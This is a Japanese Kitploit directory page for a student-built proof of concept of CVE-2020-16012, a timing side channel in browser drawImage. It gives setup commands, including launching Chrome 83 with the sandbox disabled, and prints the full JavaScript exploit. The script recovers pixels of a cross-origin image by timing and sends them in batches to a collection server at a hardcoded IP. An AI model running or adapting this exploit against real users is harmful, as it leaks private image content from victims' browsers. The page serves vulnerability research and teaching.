Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-16012-PoC — CVE-2020-16012 の PoC。Firefox と Chrome の drawImage におけるタイミングサイドチャネル | Kitploit
ツール/GitHubGitHub/leopoldabgn/cve-2020-16012-poc
脆弱性分析エクスプロイトウェブセキュリティ論文と研究学習と教育
GitHubleopoldabgn/cve-2020-16012-poc

CVE-2020-16012-PoC

CVE-2020-16012 の PoC。Firefox と Chrome の drawImage におけるタイミングサイドチャネル

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-16012 | サイドチャネル攻撃

このリポジトリには、Firefox および Chromium の CanvasRenderingContext2D.drawImage() の実装で特定されたサイドチャネル脆弱性 CVE-2020-16012 の Proof of Concept(PoC)が含まれています。

このプロジェクトは、修士課程2年次(M2)の6人の学生からなるチームによる共同作業として実施されました。

クライアント

Chrome バージョン 83

インストールリンク

https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Linux_x64/756066/

起動コマンド

root@kitploit:~
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html

サーバー

Python パッケージのインストール

root@kitploit:~
cd code/server
pip install -r requirements.txt

サーバーの起動

localhost のポート 7000 で実行されます。

root@kitploit:~
python3 server.py

出力

「Ctrl+C」を押してサーバーを停止すると、output/img1.png という名前の画像が生成されます。

スクリプト

root@kitploit:~
<script>
  let Heatmap = null
  let ScratchContext = null

  const Width = 75
  const Height = 75

  const Iters = 200
  const BATCH_SIZE = 100 // Batch size for sending data
  
  // Server base URL
const SERVER_URL = "http://192.168.0.26:7000"

function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}

function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}

// Function to send RGB data to a server via POST (individual method)
async function sendPixelData(x, y, rgb) {
  // Sends RGB data to the remote server
  await fetch(`${SERVER_URL}`, {
      method: "POST",
      body: JSON.stringify({ x, y, rgb }),
      headers: { "Content-Type": "application/json" }
  })
}

// Function to send a batch of pixels
async function sendPixelBatch(pixelBatch) {
  await fetch(`${SERVER_URL}/batch`, {
      method: "POST",
      body: JSON.stringify({ pixels: pixelBatch }),
      headers: { "Content-Type": "application/json" }
  });
  console.log(`Sending a batch of ${pixelBatch.length} pixels`);
}

// Function to save the image on the server
async function saveImage() {
  try {
      const response = await fetch(`${SERVER_URL}/auto-save`);
      const data = await response.json();
      
      if (response.ok) {
          displayStatus(`Image saved: ${data.path}`, true);
          // Optionally, display the saved image
          document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
          document.getElementById('saved-image-container').style.display = 'block';
      } else {
          displayStatus(`Error: ${data.error}`, false);
      }
  } catch (error) {
      displayStatus(`Connection error: ${error.message}`, false);
  }
}

// Function to display status messages
function displayStatus(message, isSuccess) {
  const statusElement = document.getElementById('status');
  statusElement.textContent = message;
  statusElement.className = isSuccess ? 'success' : 'error';
  statusElement.style.display = 'block';
  
  // Hide the message after 5 seconds
  setTimeout(() => {
      statusElement.style.display = 'none';
  }, 5000);
}

async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
  ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
   immediately, but only after the JavaScript thread stops. we wait
   on a timeout with a duration of zero to give the browser a chance
   to do the drawing, as otherwise we'd just be measuring the time
   taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()

return endTime - startTime
}

function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))

Heatmap.clearRect(0, 0, Width, Height)

for (let x = 0; x < heatmap.length; x++) {
  for (let y = 0; y < heatmap[x].length; y++) {
    let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
    Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
    Heatmap.fillRect(x, y, 1, 1)
  }
}
}

async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initializing...";

/* the first couple of measurements are always higher
   than they're supposed to be because some interpreter
   optimizations haven't kicked in yet, so we "warm up"
   the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
  await timePixel(image, 0, 0)
}

let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;

document.getElementById('progress-info').textContent = "Recovery in progress...";

for (let x = 0; x < Width; x++) {
  let col = []
  for (let y = 0; y < Height; y++) {
    rgb = await timePixel(image, x, y)
    col.push(rgb)
    
    // Add pixel to the current batch
    currentBatch.push({x, y, rgb});
    processedPixels++;
    
    // Update progress indicator
    document.getElementById('progress-info').textContent = 
        `Progress: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
    
    // If batch reaches limit, send it
    if (currentBatch.length >= BATCH_SIZE) {
      await sendPixelBatch([...currentBatch]); // Copy batch to avoid reference issues
      currentBatch = []; // Reset batch
    }

    drawHeatmap(pixels.concat([col]));
  }
  pixels.push(col)
}

// Send the last batch if pixels remain
if (currentBatch.length > 0) {
  await sendPixelBatch(currentBatch);
}

drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Recovery complete!";
document.getElementById('save-btn').disabled = false;
saveImage();
}

function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false

Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false

// Disable save button until recovery is complete
document.getElementById('save-btn').disabled = true;

recoverImage(document.getElementById('target'))
}
</script>
ツールをダウンロード